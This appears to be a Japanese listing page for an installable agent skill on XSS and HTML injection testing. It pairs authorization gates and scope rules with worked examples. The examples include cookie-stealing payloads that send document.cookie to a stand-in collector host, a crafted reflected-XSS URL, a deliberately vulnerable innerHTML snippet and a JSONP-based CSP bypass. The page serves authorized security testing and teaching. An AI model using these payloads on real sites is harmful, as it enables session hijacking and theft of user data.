xss-html-injection について
xss-html-injectionは、許可済み評価や管理された学習環境でXSSとHTMLインジェクションを検証するスキルです。有害なペイロード、意図しない利用者への影響、範囲外のデータ露出を避けるための制約を示します。
主な機能
- 01XSSとHTMLインジェクションの検証ガイド
- 02格納型・反射型XSSの例
- 03DOMベースXSSのシナリオ
- 04CSPとフレームワークの制約
- 05許可とデータ取り扱いの安全策
活用シーン
- 01テスト環境で検索パラメーターを確認
- 02管理されたアプリでコメント表示を検証
- 03URLフラグメントのDOM処理を確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ sickn33/ agentic-awesome-skills --skill xss-html-injectionインストール後、Claude Code で/xss-html-injectionを入力して読み込まれたか確認します。
同梱ファイルreferences/detailed-guide.md
詳細
⚠️ 許可された用途のみ このスキルは、教育目的または許可を得たセキュリティ評価にのみ使用してください。 このツールを使用する前に、システム所有者から明示的な書面による許可を得る必要があります。 このツールの不正使用は違法であり、固く禁じられています。
必須の確認ゲート 対象を調査、悪用、変更、永続化、データ抽出する、または認証情報へのアクセスを試みるコマンドを実行する前に、次の手順を踏んでください。
- ユーザーに、対象の正確な URL、IP、アカウント、またはリソースを明示するよう求めます。
- 書面による許可と、許可された範囲を確認するようユーザーに求めます。
- 正確なコマンドを提示し、想定される影響を説明します。
- 現在の会話内で明示的な確認が得られるまで待ちます。
この確認が得られない場合は、読み取り専用にとどめ、防御に関するガイダンスのみを提供してください。サンドボックス、一時的な VM、または管理されたラボを優先してください。
許可された用途のみ:このスキルは、許可を得たセキュリティ評価、防御的な検証、または管理された教育環境でのみ使用してください。
クロスサイトスクリプティングと HTML インジェクションのテスト
詳細ガイド
このスキルを実行する前に、詳細ガイドを読んでください。完全な手順と参考資料が記載されています。安全性、前提条件、検証要件は必須事項として扱ってください。特定の作業では関連するセクションを、最初から最後まで作業する場合はガイド全体を読んでください。
制約とガードレール
運用上の境界
- 本番システムに損害を与える可能性のあるペイロードは、決してインジェクションしないでください
- Cookie/セッションの取得は、デモ目的のみに限定してください
- 意図しないユーザーに広がる可能性のあるペイロード(ワームのような動作)は避けてください
- 範囲要件を超えて、実際のユーザーデータを流出させないでください
技術的な制限
- コンテンツセキュリティポリシー(CSP)によって、インラインスクリプトがブロックされる場合があります
- HttpOnly Cookie には、JavaScript からアクセスできません
- SameSite は一部のクロスサイト Cookie 送信を制限しますが、脆弱なオリジンで実行されるスクリプトが、そのユーザーとして動作することは防ぎません
- 最新のフレームワークでは、出力が自動的にエスケープされることがよくあります
法的および倫理的要件
- テストの前に書面による許可が必要です
- 重大な XSS 脆弱性は直ちに報告してください
- 取得した認証情報は、データ保護契約に従って取り扱ってください
- 発見した脆弱性を不正アクセスに利用しないでください
例
例 1:コメント欄の格納型 XSS
シナリオ:ブログのコメント機能に格納型 XSS の脆弱性があります
検出:
POST /api/comments
Content-Type: application/json
{"body": "<script>alert('XSS')</script>", "postId": 123}
観察結果:コメントが表示され、すべての閲覧者に対してスクリプトが実行されます
悪用ペイロード:
<script>
var i = new Image();
i.src = 'https://collector.invalid/steal?cookie=' + encodeURIComponent(document.cookie);
</script>
結果:管理されたブラウザーでは、そのドキュメントからアクセスできるのは HttpOnly ではない Cookie のみです。また、CSP/ネットワークポリシーによってリクエストがブロックされる場合があります。実際のセッションではテストしないでください。
例 2:検索パラメーター経由の反射型 XSS
シナリオ:検索結果ページが、クエリをエンコードせずに反映します
脆弱な URL:
https://shop.example.com/search?q=test
検出テスト:
https://shop.example.com/search?q=<script>alert(document.domain)</script>
細工した攻撃 URL:
https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://collector.invalid/log?c='+document.cookie)%22%3E
配信:同意を得たテストアカウント/ブラウザーでのみ開いてください。他者にリンクを送るには、別途、明示的な許可が必要です。
例 3:ハッシュフラグメント経由の DOM ベース XSS
シナリオ:JavaScript が URL ハッシュを読み取り、DOM に挿入します
脆弱なコード:
// Vulnerable teaching example: explicit decode introduces markup from an encoded hash.
document.getElementById('welcome').innerHTML = 'Hello, ' + decodeURIComponent(location.hash.slice(1));
攻撃 URL:
https://app.example.com/dashboard#%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
結果:スクリプトはクライアント側だけで実行され、ペイロードがサーバーに到達することはありません。
例 4:JSONP エンドポイント経由の CSP バイパス
シナリオ:サイトに CSP が設定されていますが、信頼済みの CDN は許可されています
CSP ヘッダー:
Content-Security-Policy: script-src 'self' https://cdn.trusted.com
バイパス:信頼済みドメイン上の JSONP エンドポイントを探します:
<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>
結果:許可されたスクリプトソースを使用して CSP をバイパスします。
使用するタイミング
このスキルは、概要に記載されているワークフローまたはアクションを実行する場合に適用できます。